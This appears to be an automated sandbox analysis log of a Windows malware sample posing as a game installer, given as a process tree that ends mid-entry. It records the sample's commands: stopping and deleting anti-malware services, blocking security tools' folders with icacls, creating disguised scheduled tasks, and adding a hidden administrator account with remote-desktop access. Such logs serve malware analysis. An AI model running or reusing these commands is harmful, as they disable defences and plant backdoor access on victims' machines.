- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4948 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:8
  2⤵
  PID:4800
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=5016 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:1
  2⤵
  PID:436
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4664 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:8
  2⤵
  PID:1812
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4680 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:8
  2⤵
  PID:2880
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=4500 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:1
  2⤵
  PID:2132
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=4472 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:1
  2⤵
  PID:5360
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=3424 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:1
  2⤵
  PID:5628
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=4500 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:1
  2⤵
  PID:5732
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3288 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:8
  2⤵
  PID:5812
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4336 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:8
  2⤵
  PID:5828
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=5152 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:1
  2⤵
  PID:6004
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1192 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5124
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=3640 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:1
  2⤵
  PID:5392
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=5016 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:1
  2⤵
  PID:5828
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=4588 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:1
  2⤵
  PID:2100
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5020 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:8
  2⤵
  PID:5340
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5036 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:8
  2⤵
  PID:3232
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3448 --field-trial-handle=1924,i,388317345133865984,10950784850741272505,131072 /prefetch:8
  2⤵
  PID:3616

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:3592

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:508

C:\Users\Admin\Desktop\malware\Setup.exe
"C:\Users\Admin\Desktop\malware\Setup.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4916
- C:\Users\Admin\Desktop\malware\GameInstall.exe
  C:\Users\Admin\Desktop\malware\GameInstall.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:4336
- C:\ProgramData\Setup\install.exe
  C:\ProgramData\Setup\install.exe -pputinxuilo6
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:60
- - C:\ProgramData\Setup\GameGuard.exe
    "C:\ProgramData\Setup\GameGuard.exe"
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - Modifies Windows Defender notification settings
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Blocks application from running via registry modification
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Modifies WinLogon
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:5528
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete swprv
      4⤵
      PID:2880
    - - C:\Windows\system32\sc.exe
        
        sc delete swprv
        5⤵
        Launches sc.exe
        
        PID:5932
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop mbamservice
      4⤵
      PID:424
    - - C:\Windows\system32\sc.exe
        
        sc stop mbamservice
        5⤵
        Launches sc.exe
        
        PID:1332
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop bytefenceservice
      4⤵
      PID:1504
    - - C:\Windows\system32\sc.exe
        
        sc stop bytefenceservice
        5⤵
        Launches sc.exe
        
        PID:5652
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete bytefenceservice
      4⤵
      PID:4972
    - - C:\Windows\system32\sc.exe
        
        sc delete bytefenceservice
        5⤵
        Launches sc.exe
        
        PID:4296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete mbamservice
      4⤵
      PID:3596
    - - C:\Windows\system32\sc.exe
        
        sc delete mbamservice
        5⤵
        Launches sc.exe
        
        PID:5476
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc delete crmsvc
      4⤵
      PID:5644
    - - C:\Windows\system32\sc.exe
        
        sc delete crmsvc
        5⤵
        Launches sc.exe
        
        PID:2196
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
      4⤵
      PID:5488
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set allprofiles state on
        5⤵
        Modifies Windows Firewall
        
        PID:1348
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
      4⤵
      PID:5460
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:3468
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
      4⤵
      PID:3196
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:924
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
      4⤵
      PID:5212
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
        5⤵
        Modifies Windows Firewall
        
        PID:5152
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
      4⤵
      PID:2536
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
        5⤵
        Modifies Windows Firewall
        
        PID:5640
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
      4⤵
      PID:3940
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
        5⤵
        Modifies Windows Firewall
        
        PID:1804
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
      4⤵
      PID:3772
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
        5⤵
        Modifies Windows Firewall
        
        PID:552
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c gpupdate /force
      4⤵
      PID:712
    - - C:\Windows\system32\gpupdate.exe
        
        gpupdate /force
        5⤵
        
        PID:1088
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Programdata\Install\Delete.bat
      4⤵
      PID:2016
    - - C:\Windows\system32\timeout.exe
        
        timeout 5
        5⤵
        Delays execution with timeout.exe
        
        PID:5176
- - C:\ProgramData\Setup\update.exe
    "C:\ProgramData\Setup\update.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Drops file in Drivers directory
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:464
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\ExpressCheckUP" /TR "C:\Programdata\ReaItekHD\taskhost.exe" /SC MINUTE /MO 1 /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3108
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\FilesBackUP" /TR "C:\Programdata\ReaItekHD\taskhostw.exe" /SC MINUTE /MO 2 /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:5776
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\DataBase" /TR "C:\Windows\SysWOW64\unsecapp.exe" /SC MINUTE /MO 1 /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3760
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\WinlogonCheck" /TR "C:\Programdata\ReaItekHD\taskhost.exe" /SC ONLOGON /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:4120
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\OnlogonCheck" /TR "C:\Programdata\ReaItekHD\taskhostw.exe" /SC ONLOGON /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:444
  - - C:\ProgramData\Microsoft\win.exe
      C:\ProgramData\Microsoft\win.exe -ppidar
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:1464
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\MapInfoV\RecoveryHosts" /TR "C:\ProgramData\Microsoft\Windows\AKKnwgezI\MapInfoV.bat" /SC ONLOGON /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:4660
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Hor" /TR "C:\ProgramData\Microsoft\Windows\AKKnwgezI\\Game.exe -ppidar" /SC ONCE /ST 16:07 /SD 26/04/2024 /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:5164
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe " /c " & "icacls "C:\KVRT_Data" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4356
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
      4⤵
      PID:2424
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1620
  - - C:\ProgramData\Setup\svchost.exe
      C:\ProgramData\Setup\svchost.exe -ppidar
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:4804
    - - C:\ProgramData\Setup\IP.exe
        
        "C:\ProgramData\Setup\IP.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Adds Run key to start application
        Checks whether UAC is enabled
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        NTFS ADS
        Suspicious use of SetWindowsHookEx
        
        PID:852
      - C:\Windows\SysWOW64\unsecapp.exe
        
        C:\Windows\SysWOW64\unsecapp.exe
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: GetForegroundWindowSpam
        
        PID:5592
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Programdata\Microsoft\temp\H.bat
        6⤵
        Drops file in Drivers directory
        
        PID:5556
    - - C:\ProgramData\Setup\smss.exe
        
        "C:\ProgramData\Setup\smss.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Drops file in Program Files directory
        Checks processor information in registry
        Modifies registry class
        NTFS ADS
        Suspicious use of SetWindowsHookEx
        
        PID:5280
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:5232
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:2176
      - C:\ProgramData\Windows Tasks Service\winserv.exe
        
        "C:\ProgramData\Windows Tasks Service\winserv.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:1192
        
        C:\ProgramData\Windows Tasks Service\winserv.exe
        
        "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
        7⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:4864
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net user John 12345 /add
        6⤵
        
        PID:4320
        
        C:\Windows\system32\net.exe
        
        net user John 12345 /add
        7⤵
        
        PID:2800
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user John 12345 /add
        8⤵
        
        PID:4888
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
        6⤵
        
        PID:5756
        
        C:\Windows\system32\net.exe
        
        net localgroup "Администраторы" John /add
        7⤵
        
        PID:1228
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Администраторы" John /add
        8⤵
        
        PID:1348
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
        6⤵
        
        PID:4364
        
        C:\Windows\system32\net.exe
        
        net localgroup "Пользователи удаленного рабочего стола" John /add
        7⤵
        
        PID:5300
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
        8⤵
        
        PID:5488
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
        6⤵
        
        PID:5544
        
        C:\Windows\system32\net.exe
        
        net localgroup "Пользователи удаленного управления" john /add" John /add
        7⤵
        
        PID:2712
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
        8⤵
        
        PID:5140
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
        6⤵
        
        PID:4604
        
        C:\Windows\system32\net.exe
        
        net localgroup "Administrators" John /add
        7⤵
        
        PID:5212
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Administrators" John /add
        8⤵
        
        PID:1988
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
        6⤵
        
        PID:4440
        
        C:\Windows\system32\net.exe
        
        net localgroup "Administradores" John /add
        7⤵
        
        PID:5144
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Administradores" John /add
        8⤵
        
        PID:4624
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
        6⤵
        
        PID:4192
        
        C:\Windows\system32\net.exe
        
        net localgroup "Remote Desktop Users" john /add
        7⤵
        
        PID:5460
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
        8⤵
        
        PID:5068
      - C:\ProgramData\RDPWinst.exe
        
        C:\ProgramData\RDPWinst.exe -i
        6⤵
        Sets DLL path for service in the registry
        Executes dropped EXE
        Modifies WinLogon
        Drops file in System32 directory
        Suspicious use of SetWindowsHookEx
        
        PID:3472
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
        7⤵
        Modifies Windows Firewall
        
        PID:1876
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat
        6⤵
        
        PID:4764
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        7⤵
        Delays execution with timeout.exe
        
        PID:1168
  - - C:\ProgramData\Setup\Desktop.exe
      C:\ProgramData\Setup\Desktop.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Checks whether UAC is enabled
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Checks processor information in registry
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      PID:5656
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4532
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\Microsoft JDX" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5796
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
      4⤵
      PID:5696
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3108
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
        5⤵
        
        PID:6024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:5804
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
      4⤵
      PID:2300
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
        5⤵
        
        PID:1404
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:332
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:3948
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
      4⤵
      PID:3832
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:4428
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\Fonts\Mysql" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4508
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
      4⤵
      PID:3444
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:3432
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:820
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\program files\Internet Explorer\bin" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5708
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
      4⤵
      PID:3672
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:3736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe " /c " & "icacls "C:\Windows\speechstracing" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
      4⤵
      PID:4880
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
        5⤵
        
        PID:3112
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe " /c " & "icacls "c:\programdata\Malwarebytes" /deny "%username%":(F)
      4⤵
      PID:5600
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)
      4⤵
      PID:1304
    - - C:\Windows\system32\icacls.exe
        
        icacls c:\programdata\Malwarebytes /deny System:(F)
        5⤵
        
        PID:4680
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe " /c " & "icacls "C:\Programdata\MB3Install" /deny "%username%":(F)
      4⤵
      PID:1732
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)
      4⤵
      PID:1848
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Programdata\MB3Install /deny System:(F)
        5⤵
        Modifies file permissions
        
        PID:6104
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe " /c " & "icacls "C:\Programdata\Indus" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:3900
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
      4⤵
      PID:5228
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5684
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe " /c " & "icacls "C:\AdwCleaner" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:5504
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ByteFence" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:1056
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\ByteFence" /deny "Admin":(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:2660
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe " /c " & "icacls "C:\KVRT2020_Data" /deny "%username%":(OI)(CI)(F)
      4⤵
      PID:1228
  - - C:\Windows\system32\cmd.exe
